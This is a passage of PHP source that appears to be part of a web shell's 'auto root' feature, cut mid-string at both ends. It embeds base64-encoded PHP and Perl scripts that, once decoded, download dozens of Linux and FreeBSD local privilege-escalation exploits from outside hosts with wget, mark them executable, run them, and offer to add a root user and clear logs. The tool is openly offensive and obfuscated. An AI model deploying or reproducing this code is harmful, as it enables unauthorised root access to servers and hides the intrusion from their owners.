1vZCA3NzcgZXhwMSIpOyANCnN5c3RlbSgiLi9leHAxIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHAyIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMiIpOyANCnN5c3RlbSgiLi9leHAyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHAzIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMyIpOyANCnN5c3RlbSgiLi9leHAzIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHBsb2l0Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOyANCnN5c3RlbSgiLi9leHBsb2l0Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHBsb2l0MiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGV4cGxvaXQyIik7IA0Kc3lzdGVtKCIuL2V4cGxvaXQyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9mcm9vdCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGZyb290Iik7IA0Kc3lzdGVtKCIuL2Zyb290Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9nbGliYyIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGdsaWJjIik7IA0Kc3lzdGVtKCIuL2dsaWJjIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9pc2tvcnBpdHgiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBpc2tvcnBpdHgiKTsgDQpzeXN0ZW0oIi4vaXNrb3JwaXR4Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9qZXNzaWNhMiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGplc3NpY2EyIik7IA0Kc3lzdGVtKCIuL2plc3NpY2EyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9wa2V4ZWMiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBwa2V4ZWMiKTsgDQpzeXN0ZW0oIi4vcGtleGVjIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9yZHMtZXhwbG9pdCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IHJkcy1leHBsb2l0Iik7IA0Kc3lzdGVtKCIuL3Jkcy1leHBsb2l0Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC92bXNwbGljZSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlIik7IA0Kc3lzdGVtKCIuL3Ztc3BsaWNlIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC94cGxTVVBFUiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IHhwbFNVUEVSIik7IA0Kc3lzdGVtKCIuL3hwbFNVUEVSIik7IA0Kc2xlZXAoMSk7IA0KcHJpbnQoIlsrXSBhbGwgbG54IHhwbCdzIHRlc3RlZHMhIGV4aXRpbmchXG4iKTsgDQpzeXN0ZW0oImlkIik7IA0KZXhpdCgwKTsgDQp9IA0KZWxzZWlmKCRrZXJuZWwgPT0gImJzZCIpIA0KeyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS18XG4iOyANCnByaW50ICJ8UEhQIEF1dG8gUm9vdCBieSBNYXVyaXRhbmlhIEF0dGFja2VyICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS18XG4iOyANCnByaW50ICJ8U2VsZWN0ZWQga2VybmVsIDogfEJTRC1hcnF8ICAgICAgICAgICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS18XG4iOyANCnNsZWVwKDIpOyANCnByaW50ICJcblsrXSBUZXN0aW5nIGJzZCB4cGwncyBwbGVhc2Ugd2FpdC5cbiI7IA0KcHJpbnQgIlt+XSBNZWFud2hpbGUgc21va2UgYSBjaWdhcmV0IFhEICg6XG4iOyANCnNsZWVwKDIpOyANCnN5c3RlbSgibWtkaXIgQlNEO2NkIGJzZC8iKTsgDQoNCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC82LjEtMDkuYyIpOyANCnN5c3RlbSgiZ2NjIC1vIDYuMS0wOSA2LjEtMDkuYyAtbHB0aHJlYWQiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyA2LjEtMDkiKTsgDQpzeXN0ZW0oIi4vNi4xLTA5Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNELzYuNCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDYuNCIpOyANCnN5c3RlbSgiLi82LjQiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvNy4xLTA4LmMiKTsgDQpzeXN0ZW0oImdjYyAtbyA3LjEtMDggNy4xLTA4LmMgIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgNy4xLTA4Iik7IA0Kc3lzdGVtKCIuLzcuMS0wOCIpOyANCnNsZWVwKDEpOyANCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC8yMDEwIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAxMCIpOyANCnN5c3RlbSgiLi8yMDEwIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNEL2Eub3V0Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgYS5vdXQiKTsgDQpzeXN0ZW0oIi4vYS5vdXQiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvY2Via21vdW50Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgY2Via21vdW50Iik7IA0Kc3lzdGVtKCIuL2NlYmttb3VudCIpOyANCnNsZWVwKDEpOyANCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC9jdmUtMjAxMC0yNjkzIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgY3ZlLTIwMTAtMjY5MyIpOyANCnN5c3RlbSgiLi9jdmUtMjAxMC0yNjkzIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNELzYuMS0wOS5jIik7IA0Kc3lzdGVtKCJnY2MgLW8gNi4xLTA5IDYuMS0wOS5jIC1scHRocmVhZCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDYuMS0wOSIpOyANCnN5c3RlbSgiLi82LjEtMDkiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvZnJlZTcuc2giKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBmcmVlNy5zaCIpOyANCnN5c3RlbSgiLi9mcmVlNy5zaCIpOyANCnNsZWVwKDEpOyANCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC9sIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgbCIpOyANCnN5c3RlbSgiLi9sIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNEL21hc3RlciIpOyANCnN5c3RlbSgiY2htb2QgNzc3IG1hc3RlciIpOyANCnN5c3RlbSgiLi9tYXN0ZXIiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvdzAwdC5zby4xLjAiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyB3MDB0LnNvLjEuMCIpOyANCnN5c3RlbSgiLi93MDB0LnNvLjEuMCIpOyANCmV4aXQoMCk7IA0KfSANCg0KLy9FT0ZfIA0KLy8yMDEzIA0KLy9Qcml2OCBWZXJzaW9uICANCg0KPz4=";
file_put_contents("r00t.php",base64_decode($rroter));
echo "<script>alert('Auto R00ting Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'rrot' ){
$perlrot = "IyEvdXNyL2Jpbi9wZXJsDQpwcmludCAiIz1bK109PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bK109I1xuIjsNCnByaW50ICJ8ICAgICAgICAgICAgICAgQXV0b3Jvb3QgQnkgR2FiYnkgICAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgVGhhbmtzIHRvIDogWW9neWFjYXJkZXJsaW5rIC0gU3VyYWJheWEgQmxhY2toYXQgIHxcbiI7DQpwcmludCAifCAgICAgICAgICAgICAgIC0gVGhlIENyb3dzIENyZXcgLSAgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICIjPT09PT09PT09PT09PT09PT09PT09WyBVc2FnZSBdPT09PT09PT09PT09PT09PT09PT0jXG4iOw0KcHJpbnQgInwgR2V0IFJvb3QgICAgICAgICA9IHBlcmwgJDAgcm9vdCAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCBDbGVhciBMb2NhbCBSb290ID0gcGVybCAkMCBkZWwgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICJ8IEFkZCBVc2VyIFJvb3QgICAgPSBwZXJsICQwIGFkZCAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgQ2xlYXIgTG9nICAgICAgICA9IHBlcmwgJDAgcm0gICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifD09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09fFxuIjsNCnByaW50ICJ8IENvbnRhY3QgTWUgOiBnYWJieVthdF10aGVjcm93c2NyZXcub3JnICAgICAgICAgICB8XG4iOw0KcHJpbnQgIiM9WytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXSNcbiI7DQppZiAoJEFSR1ZbMF0gPX4gInJvb3QiICkgDQp7DQpwcmludCAiU2lhcGluIHJva29rIG1hIGtvcGkgZHVsdSBtYXMgbWJsbyA6UCBcbiI7DQpwcmludCAiT2ssLi4gTGV0cyBzdGFydC4uLiBTYXBhcmF0b3MgQmxhbmsuLi4uISEhIFxuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0yIik7DQpzeXN0ZW0oIi4vMS0yIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0zIik7DQpzeXN0ZW0oIi4vMS0zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS00Iik7DQpzeXN0ZW0oIi4vMS00Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTM3NC4xMi4xLmVsNS0yMDEyIik7DQpzeXN0ZW0oIi4vMi42LjE4LTM3NC4xMi4xLmVsNS0yMDEyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMCIpOw0Kc3lzdGVtKCIuLzEwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMSIpOw0Kc3lzdGVtKCIuLzExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEyIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMiIpOw0Kc3lzdGVtKCIuLzEyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNCIpOw0Kc3lzdGVtKCIuLzE0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1LnNoIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNS5zaCIpOw0Kc3lzdGVtKCIuLzE1LnNoIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1MTUwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNTE1MCIpOw0Kc3lzdGVtKCIuLzE1MTUwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1MjAwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNTIwMCIpOw0Kc3lzdGVtKCIuLzE1MjAwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE2Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNiIpOw0Kc3lzdGVtKCIuLzE2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE2LTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE2LTEiKTsNCnN5c3RlbSgiLi8xNi0xIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxOCIpOw0Kc3lzdGVtKCIuLzE4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4LTUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE4LTUiKTsNCnN5c3RlbSgiLi8xOC01Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIiKTsNCnN5c3RlbSgiLi8yIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi0xIik7DQpzeXN0ZW0oIi4vMi0xIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi0zMi00Ni0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTYtMzItNDYtMjAxMSIpOw0Kc3lzdGVtKCIuLzItNi0zMi00Ni0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi0zNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi02LTM3Iik7DQpzeXN0ZW0oIi4vMi02LTM3Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi05LTIwMDUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDUiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi05LTIwMDYiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDYiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTYtOS0yMDA2Iik7DQpzeXN0ZW0oIi4vMi02LTktMjAwNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjQuMjEtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi02LTktMjAwNiIpOw0Kc3lzdGVtKCIuLzItNi05LTIwMDYiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCIuLzIuNC4zNi45Mi42LjI3LjUgLSAyMDA4IExvY2FsIHJvb3QiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE2NC0yMDEwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE5NCIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0xOTQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4xLTIwMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMS0yMDEwIik7DQpzeXN0ZW0oIi4vMi42LjE4LTE5NC4xLTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMi0yMDEwIik7DQpzeXN0ZW0oIi4vMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMjc0LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjc0LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC02LXg4Ni0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMi1ob29seXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuMi1ob29seXNoaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjAiKTsNCnN5c3RlbSgiLi8yLjYuMjAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwLTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMC0yIik7DQpzeXN0ZW0oIi4vMi42LjIwLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjIiKTsNCnN5c3RlbSgiLi8yLjYuMjIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMi0yMDA4Iik7DQpzeXN0ZW0oIi4vMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMi02LTg2XzY0LTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIzLTIuNi4yNCIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5l